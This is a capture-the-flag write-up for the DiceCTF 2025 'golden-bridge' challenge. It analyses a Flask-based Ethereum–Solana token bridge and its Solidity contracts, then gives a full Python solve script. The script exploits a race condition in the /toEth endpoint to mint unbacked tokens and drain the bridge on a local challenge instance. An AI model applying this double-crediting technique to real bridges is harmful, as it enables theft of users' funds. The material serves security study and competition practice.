DiceCTF 2025 Quals: Golden-Bridge
This write-up contains my solution to the misc/golden-bridge challenge from the CTF event hosted by DiceGang, DiceCTF 2025 Quals.
The challenge contains an Ethereum side and a Solana side, connecting them with a Bridge
For the Ethereum side, I used web3.py to interact with the contracts and the REMIX IDE for generating ABIs.
For the Solana side, I used solana.py and solders.
The challenge provided a compressed .zip file with all the files needed to run the challenge locally, making it easier to test things.
Initial Analysis
Description
Author: arcblroth
Introducing $BBL - a smooth revolution in cross-chain defi technology! Though we haven’t gotten back our audit results yet, we believe in the future of Bubble so much that we’ve decided to shadow-launch it today! Grab your 10 free $FTHs from the airdrop (while supplies last), and remember to watch out for the wind…
From reading the description, without looking at any of the files, there’s one useful hint: we can claim 10 $FTH from an airdrop.
Web Interface
After building the image and running the docker container, we open http://localhost:5000 and are greeted with this page:
The page has two main functionalities:
- Sending Ethereum Bubbles to Solana Bubbles
- Sending Solana Bubbles to Ethereum Bubbles.
Both of these functionalities need the private key (or keypair), the amount of bubbles, and the destination address.
To find out if there are any more endpoints and what they do, we can look at the file bridge/app.py which handles the web page.
This is a pretty long file so let’s look at relevant snippets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<...>
app.secret_key = os.urandom(32).hex()
<...>
@app.get("/")
def index():
return render_template("index.html")
@app.get("/player.json")
def player():
return player_info
The secret_key is a 32 byte long random so we ignore that attack vector, but there’s a /player.json endpoint that returns player_info, which seems pretty useful:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"ethereum": {
"address": "0x526946045325f354922905d6736f87d28aFeC1AB",
"private_key": "0x9da9b5b612932a1fd930c613aa8547efc73aa7da399263bc73caaab72a5cc25b",
"rpc": "localhost:5000/eth",
"setup": "0xb8295198fBaeFc8d690f5c97a0161eAB1B6d99DF"
},
"solana": {
"bridge": "GLCW94UuT1DkrtBhdr9pUkoDeBvsXgR3aZLwXex185sT",
"keypair": [184, 165, 177, 179, 163, 198, 161, 11, 220, 6, 5, 223, 19, 29, 144, 145, 254, 71, 107, 84, 245, 179, 199, 148, 134, 48, 151, 28, 0, 35, 112, 231, 99, 146, 229, 196, 54, 36, 38, 235, 179, 140, 6, 7, 64, 251, 237, 41, 248, 62, 237, 24, 156, 245, 175, 170, 146, 27, 23, 105, 99, 33, 62, 143],
"mint": "BxLWqEvyNShDBXzj1q1GvmNYc252Et5nASbhUGzuA2u3",
"pubkey": "7hhHBY9DSu5Ra24aF9oYbdQFAdqESGmVKshhyPixtqZ8",
"rpc": "localhost:5000/sol"
}
}
Let’s break down the json file:
- Ethereum
address: Our account address;private_key: Our account private key;rpc: the ethereum RPC URL;setup: the setup contract address;
- Solana
bridge: The bridge public key (or address);keypair: A keypair containing our account private and public key;mint: The mint public key;pubkey: Our account public key;rpc: the solana RPC URL.
With this json file, we can interact with the network, either through scripting or through the web interface by filling out the form. Let’s try to use the form and see where that leads.
If we try to send 1 Ethereum Bubble to Solana, we get this error message: oh no: Solana account does not have an associated token account for $BBL, please fund one yourself >:D,
And if we try to send 1 Solana Bubble to Ethereum, we get a similar error message: oh no: Solana account does not have an associated token account for $BBL.
With these messages, we can assume we have no $BBL balance in our Solana associated token account, since it doesn’t exist, so we found our first step. Let’s keep looking at app.py to see if we find more clues.
1
2
3
4
5
6
7
8
# https://ethereum.stackexchange.com/a/70244
def eth_transact(fun: ContractFunction, signer: EthAccount):
tx = fun.build_transaction({
"from": signer.address,
"nonce": w3.eth.get_transaction_count(signer.address),
})
tx_signed = signer.sign_transaction(tx)
w3.eth.send_raw_transaction(tx_signed.raw_transaction)
The eth_transact() function has logic to allow the server to make ethereum transactions, possibly when the user submits the form;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# remove $BBL that has been deposited in the Bridge on
# the Ethereum side, then mint $BBL on the Solana side
@app.post("/toSol")
def toSol():
try:
key = request.json["key"]
if not (isinstance(key, str) and key.startswith("0x")):
return "Invalid key", 400
amount = request.json["amount"]
if not (isinstance(amount, int) and amount > 0):
return "Invalid amount", 400
target = request.json["target"]
if not isinstance(target, str):
return "Invalid target", 400
acc = EthAccount.from_key(key)
target = Pubkey.from_string(target)
if not target.is_on_curve():
return "Invalid target (not on curve)", 400
target_ata = spl_token.get_associated_token_address(target, sol_bbl.pubkey(), TOKEN_PROGRAM_ID)
if solana.get_account_info(target_ata).value is None:
return "Solana account does not have an associated token account for $BBL, please fund one yourself >:D", 400
eth_transact(eth_Bridge.functions.toBridge(acc.address, amount), eth_deployer)
sol_bridge_spl.mint_to(target_ata, sol_bridge, amount)
return f"Successfully transferred your $BBL!", 200
except Exception as e:
app.logger.error(traceback.format_exc())
return str(e), 400
The toSol() function removes $BBL from the bridge on the Ethereum side, and mints it on the Solana side. It starts by verifying if the input is valid, and making sure the solana target is valid with the is_on_curve() function. After this, it checks if the target has an associated token account (this is where we failed previously) and if it does, it takes the amount from the Ethereum account into the bridge, and mints it on the Solana account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# transfer and burn $BBL on the Solana side, then
# credit $BBL into the Bridge on the Ethereum side
@app.post("/toEth")
def toEth():
try:
key = request.json["key"]
if not isinstance(key, str):
return "Invalid key", 400
amount = request.json["amount"]
if not (isinstance(amount, int) and amount > 0):
return "Invalid amount", 400
target = request.json["target"]
if not (isinstance(target, str) and target.startswith("0x")):
return "Invalid target", 400
src = Keypair.from_json(key)
src_ata = spl_token.get_associated_token_address(src.pubkey(), sol_bbl.pubkey(), TOKEN_PROGRAM_ID)
if solana.get_account_info(src_ata).value is None:
return "Solana account does not have an associated token account for $BBL", 400
# bruh SPLToken doesn't let us compose two instructions
recent_blockhash = solana.get_latest_blockhash().value.blockhash
ixs = [
spl_token.transfer(
spl_token.TransferParams(
program_id=TOKEN_PROGRAM_ID,
source=src_ata,
dest=sol_bridge_ata,
owner=src.pubkey(),
amount=amount,
signers=[src.pubkey()],
)
),
spl_token.burn(
spl_token.BurnParams(
program_id=TOKEN_PROGRAM_ID,
account=sol_bridge_ata,
mint=sol_bbl.pubkey(),
owner=sol_bridge.pubkey(),
amount=amount,
signers=[sol_bridge.pubkey()],
)
)
]
solana.send_transaction(
SolanaTransaction(
[sol_bridge, src],
SolanaMessage.new_with_blockhash(ixs, src.pubkey(), recent_blockhash),
recent_blockhash
)
)
eth_transact(eth_Bridge.functions.fromBridge(target, amount), eth_deployer)
return f"Successfully transferred your $BBL!", 200
except Exception as e:
app.logger.error(traceback.format_exc())
return str(e), 400
The toEth() function is the exact opposite from the toSol() function, it transfers $BBL from the Solana account into the Ethereum account.
1
2
3
4
5
6
7
8
9
10
11
12
13
# I believe my code is flawless so if you can steal all 1_000_000_000 $BBL gg
# (please return it I will give you a 10% bounty I have a lil megute to feed)
@app.get("/flag")
def flag():
try:
if eth_Setup.functions.isSolved().call():
return os.environ.get("FLAG", "dice{test_flag}")
return "no flag for u >:D", 403
except Exception:
return "no flag for u >:D", 403
if __name__ == "__main__":
app.run("0.0.0.0", 8000, debug=True)
The flag() function gets the flag if we succeed in solving the challenge.
Endpoints Found
So these are the endpoints we gathered:
/player.json: Contains the player’s account and useful contract addresses/eth: Contains the Ethereum RPC/sol: Contains the Solana RPC/toSol: Sending Ethereum Bubbles to Solana Bubbles/toEth: Sending Solana Bubbles to Ethereum Bubbles/flag: Contains the flag (after we solve the challenge)
Creating ATA
Before anything, let’s create an ATA (Associated Token Account) to get past the error and see if there’s any more information to extract.
To do this, we can use this function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def create_token_account():
ata_addr = spl_token.get_associated_token_address(sol_player_keypair.pubkey(), sol_mint_addr, TOKEN_PROGRAM_ID)
if solana.get_account_info(ata_addr).value is None:
print("ATA doesn't exist, creating it")
recent_blockhash = solana.get_latest_blockhash().value.blockhash
ix = [
spl_token.create_associated_token_account(
payer = sol_player_keypair.pubkey(),
owner = sol_player_keypair.pubkey(),
mint = sol_mint_addr,
token_program_id = TOKEN_PROGRAM_ID,
)
]
solana.send_transaction(
SolanaTransaction(
[sol_player_keypair],
SolanaMessage.new_with_blockhash(ix, sol_player_keypair.pubkey(), recent_blockhash),
recent_blockhash
)
)
print("Waiting for transaction to complete...")
sleep(15)
return ata_addr
else:
print(f"ATA already exists: {ata_addr}")
return ata_addr
The create_token_account() function uses get_account_info() to check if it exists already, if it doesn’t it creates it by creating the instruction using create_associated_token_account(), saving it inside the ix variable, and then sending it.
I kept the imports equal to what was on app.py, making things like SolanaTransaction have a different name compared to the normal import.
After this, let’s check what the web page says if we try to transfer tokens. By trying to transfer 1 Ethereum Bubble to Solana, we get execution reverted: Insufficient BBL in Bridge, and by doing the inverse operation, the page says Error: insufficient funds, which leads us to the conclusion that we have no $BBL on either account.
For our next step, we’ll analyze the Ethereum Contract files to find out where the airdrop is, and what the $FTH tokens are, since the Golden Bridge deals with $BBL.
Ethereum Contracts
Looking in the /eth/src folder, we find 4 contract files, let’s take a look at them:
Feather.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Feather is ERC20 {
address public immutable owner;
constructor() ERC20("FEATHER", "FTH") {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function mint(address recipient, uint256 amount) external onlyOwner {
_mint(recipient, amount);
}
}
The Feather contract is quite simple, it has the onlyOwner() modifier which when paired with a function (in this case mint()), only lets the owner of the contract call it. Because of this, we can only call the functions in ERC20. The $FTH mentioned in the description is one of these tokens.
ERC20.sol adds a lot of functions to do with tokens. We won’t go over them but since we’ll use a few I added them to the References
Bubble.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Feather.sol";
// A Bubble is a wrapped Feather.
contract Bubble is ERC20 {
Feather public immutable feather;
constructor(Feather feather_) ERC20("BUBBLE (wFTH)", "BBL") {
feather = feather_;
}
function wrap(uint256 amount) external {
feather.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
}
function unwrap(uint256 amount) external {
_burn(msg.sender, amount);
feather.transfer(msg.sender, amount);
}
}
The Bubble contract is also simple, it lets us know a Bubble ($BBL) is a wrapped Feather ($FTH), and it lets us wrap() and unwrap() these at will. All the ERC20 functions are also available here.
Bridge.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "./Bubble.sol";
contract Bridge {
address public owner;
Bubble public immutable bubble;
mapping(address => uint256) public accounts;
constructor(Bubble bubble_) {
owner = msg.sender;
bubble = bubble_;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function changeOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function deposit(uint256 amount) external {
bubble.transferFrom(msg.sender, address(this), amount);
accounts[msg.sender] += amount;
}
function withdraw(uint256 amount) external {
require(accounts[msg.sender] >= amount, "Insufficient BBL in Bridge");
accounts[msg.sender] -= amount;
bubble.transfer(msg.sender, amount);
}
function fromBridge(address recipient, uint256 amount) external onlyOwner {
accounts[recipient] += amount;
}
function toBridge(address recipient, uint256 amount) external onlyOwner {
require(accounts[recipient] >= amount, "Insufficient BBL in Bridge");
accounts[recipient] -= amount;
}
}
The Bridge contract is slightly more complicated, so let’s analyze it:
- There’s a
mapping(address => uint256) public accountsmapping that saves how much$BBLwe have on the Bridge; - The
onlyOwner()modifier is also present; - A
changeOwner()function exists but only the owner can call it so there’s not much use; deposit()allows us to deposit$BBLfrom our account to our account on the Bridge mapping;withdraw()allows us to do the inverse operation;- We are allowed to call
deposit()andwithdraw()since they do not have theonlyOwner()modifier; fromBridge()is called from the/toEthendpoint, converting Solana Bubbles into Ethereum Bubbles;toBridge()is called from the/toSolendpoint, doing the inverse operation;- We are not allowed to call
fromBridge()andtoBridge()since they have theonlyOwner()modifier.
Setup.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.29;
import "./Feather.sol";
import "./Bubble.sol";
import "./Bridge.sol";
contract Setup {
Feather public immutable feather;
Bubble public immutable bubble;
Bridge public immutable bridge;
bool private airdropped;
constructor() {
airdropped = false;
uint256 liquidity = 1_000_000_000;
feather = new Feather();
feather.mint(address(this), liquidity);
bubble = new Bubble(feather);
feather.approve(address(bubble), liquidity);
bubble.wrap(liquidity);
bridge = new Bridge(bubble);
bubble.transfer(address(bridge), liquidity);
bridge.changeOwner(msg.sender);
}
function airdrop() external {
if (airdropped) revert("no more airdrops :(");
feather.mint(msg.sender, 10);
airdropped = true;
}
function isSolved() external view returns (bool) {
return bubble.balanceOf(address(bridge)) == 0;
}
}
Finally, the Setup contract holds all the initial setup of all the other contracts, and we should highlight a few things:
uint256 liquidity = 1_000_000_000: this is how many tokens are minted;feather.mint(address(this), liquidity): 1 billion$FTHare minted for the Setup;bubble.wrap(liquidity): the 1 billion$FTHare wrapped into$BBL;bubble.transfer(address(bridge), liquidity): the 1 billion$BBLgoes into the bridge;bridge.changeOwner(msg.sender): the bridge owner becomes the Setup contract.
Also contains the airdrop() function we were looking for, that allows us to get a one-time mint of 10 $FTH into our account.
Finally, it contains our objective in the isSolved() function, which is empty out the $BBL balance of the bridge.
This was also in the comments on
app.py
So how can we withdraw 1 billion $BBL from the Bridge in order to solve the challenge? Let’s look back into app.py now that we’ve broken down the contracts.
Solution
To solve the challenge, it’s possible to exploit the /toEth endpoint to mint additional $BBL, specifically the part where it mints and burns on the Solana side. Here’s the particular code snippet again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def toEth():
<...>
# bruh SPLToken doesn't let us compose two instructions
recent_blockhash = solana.get_latest_blockhash().value.blockhash
ixs = [
spl_token.transfer(
spl_token.TransferParams(
program_id=TOKEN_PROGRAM_ID,
source=src_ata,
dest=sol_bridge_ata,
owner=src.pubkey(),
amount=amount,
signers=[src.pubkey()],
)
),
spl_token.burn(
spl_token.BurnParams(
program_id=TOKEN_PROGRAM_ID,
account=sol_bridge_ata,
mint=sol_bbl.pubkey(),
owner=sol_bridge.pubkey(),
amount=amount,
signers=[sol_bridge.pubkey()],
)
)
]
solana.send_transaction(
SolanaTransaction(
[sol_bridge, src],
SolanaMessage.new_with_blockhash(ixs, src.pubkey(), recent_blockhash),
recent_blockhash
)
)
eth_transact(eth_Bridge.functions.fromBridge(target, amount), eth_deployer)
return f"Successfully transferred your $BBL!", 200
<...>
If you look at it closely, there is no verification on whether or not the Solana transaction has completed before the Ethereum transaction is done, and so, since the Solana transaction is pretty slow, it allows us to transfer more Solana Bubbles than we have into Ethereum Bubbles, before it even processes the transfer or the burn of the token.
Method
With this exploit found, we can architect our solution like this:
- Create an ATA account
- Get airdrop
- Wrap the 10 airdropped
$FTH - Deposit the 10
$BBL - Use
toSolto send Ethereum Bubbles to Solana Bubbles - Wait for the transaction
- Use
toEthto send Solana Bubbles to Ethereum Bubbles multiple times - Repeat 5-7 until 1 billion
$BBLin Ethereum Bubbles - Withdraw all
$BBLfrom the bridge - Call
/flagand win!
Solve Script
We’ve created an ATA account back in the Initial Analysis, but let’s go through all the steps:
1. Creating an ATA Account
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def create_token_account():
ata_addr = spl_token.get_associated_token_address(sol_player_keypair.pubkey(), sol_mint_addr, TOKEN_PROGRAM_ID)
if solana.get_account_info(ata_addr).value is None:
print("ATA doesn't exist, creating it")
recent_blockhash = solana.get_latest_blockhash().value.blockhash
ix = [
spl_token.create_associated_token_account(
payer = sol_player_keypair.pubkey(),
owner = sol_player_keypair.pubkey(),
mint = sol_mint_addr,
token_program_id = TOKEN_PROGRAM_ID,
)
]
solana.send_transaction(
SolanaTransaction(
[sol_player_keypair],
SolanaMessage.new_with_blockhash(ix, sol_player_keypair.pubkey(), recent_blockhash),
recent_blockhash
)
)
print("Waiting for transaction to complete...")
sleep(15)
return ata_addr
else:
print(f"ATA already exists: {ata_addr}")
return ata_addr
It wasn’t mentioned earlier but for this function to work there has to be a connection to the solana RPC, in this case
solana.
2. Getting the Airdrop
1
2
3
4
5
6
7
8
9
10
11
def get_airdrop():
nonce = w3.eth.get_transaction_count(eth_player_addr)
tx = setup.functions.airdrop().build_transaction({
'from': eth_player_addr,
'chainId': w3.eth.chain_id,
'nonce': nonce,
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=eth_player_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
return tx_receipt
For the
get_airdrop()function to be successful we also need a connection to the ethereum RPC, in this casew3. Additionally, there has to be a contract instance generated from the ABI and the address, in this casesetup
3. Wrapping the Airdropped Feathers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def wrap(amount):
nonce = w3.eth.get_transaction_count(eth_player_addr)
fth_bal = get_fth_bal()
if fth_bal < amount:
print(f"Tried wrapping {amount}, have {fth_bal} FTH")
return
approve_tx = feather.functions.approve(eth_bubble_addr, amount).build_transaction({
'from': eth_player_addr,
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
signed_approve_tx = w3.eth.account.sign_transaction(approve_tx, private_key=eth_player_key)
approve_tx_hash = w3.eth.send_raw_transaction(signed_approve_tx.raw_transaction)
approve_tx_receipt = w3.eth.wait_for_transaction_receipt(approve_tx_hash)
nonce += 1
tx = bubble.functions.wrap(amount).build_transaction({
'from': eth_player_addr,
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=eth_player_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Wrapped {amount} FTH")
return tx_receipt
We need to approve the Feather contract making transactions in our name so that we can successfully wrap
$FTHinto$BBL.
4. Depositing the Bubbles into the Bridge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def deposit_bbl(amount):
nonce = w3.eth.get_transaction_count(eth_player_addr)
bbl_bal = get_bbl_bal_eth_player()
if bbl_bal < amount:
print(f"Tried depositing {amount}, have {bbl_bal} $BBL")
return
tx = bridge.functions.deposit(amount).build_transaction({
'from': eth_player_addr,
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=eth_player_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Deposited {amount} $BBL into the bridge")
return receipt
5. Sending Ethereum Bubbles to Solana Bubbles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def bbl_to_sol(amount):
nonce = w3.eth.get_transaction_count(eth_player_addr)
approve_tx = bubble.functions.approve(eth_bridge_addr, amount).build_transaction({
'from': eth_player_addr,
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
signed_approve_tx = w3.eth.account.sign_transaction(approve_tx, private_key=eth_player_key)
approve_tx_hash = w3.eth.send_raw_transaction(signed_approve_tx.raw_transaction)
approve_tx_receipt = w3.eth.wait_for_transaction_receipt(approve_tx_hash)
data = {
"key": eth_player_key,
"amount": amount,
"target": str(sol_player_pubkey)
}
res = requests.post(f"{base_addr}/toSol", json=data)
print(res.text)
6. Waiting for the Solana Transaction
1
2
3
4
5
6
7
8
start_time = time()
while time() - start_time < 30:
curr_bal = int(get_bbl_bal_sol_player())
if curr_bal >= base_amount:
print(f"Balance updated! {curr_bal} $BBL")
break
print(f"Waiting for $BBL balance on SOL account to update...")
sleep(2)
This snippet will be included in the looping logic
7. Minting new Ethereum Bubbles
1
2
3
4
5
6
7
8
def bbl_to_eth(amount):
data = {
"key": sol_player_keypair.to_json(),
"amount": amount,
"target": eth_player_addr,
}
res = requests.post(f"{base_addr}/toEth", json=data)
print(res.text)
8. Exploiting until 1 Billion Bubbles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
base_amount = 10
while get_bbl_bal_eth_player_bridge() <= 1_000_000_000:
bbl_to_sol(base_amount)
start_time = time()
while time() - start_time < 30:
curr_bal = int(get_bbl_bal_sol_player())
if curr_bal >= base_amount:
print(f"Balance updated! {curr_bal} $BBL")
break
print(f"Waiting for $BBL balance on SOL account to update...")
sleep(2)
for _ in range(11):
bbl_to_eth(base_amount)
base_amount *= 10
print(f"Player Account in Bridge: {get_bbl_bal_eth_player_bridge()} $BBL")
print(f"Player Account in SOL: {get_bbl_bal_sol_player()} $BBL")
9. Withdraw all Ethereum Bubbles from the Bridge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def withdraw_bbl(amount):
nonce = w3.eth.get_transaction_count(eth_player_addr)
bbl_bal = get_bbl_bal_eth_bridge()
if bbl_bal < amount:
print(f"Tried withdrawing {amount}, bridge has {bbl_bal} $BBL")
tx = bridge.functions.withdraw(amount).build_transaction({
'from': eth_player_addr,
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=eth_player_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Withdrawed {amount} $BBL from the bridge")
10. Win!
1
2
def get_flag():
print(requests.get(f"{base_addr}/flag").text)

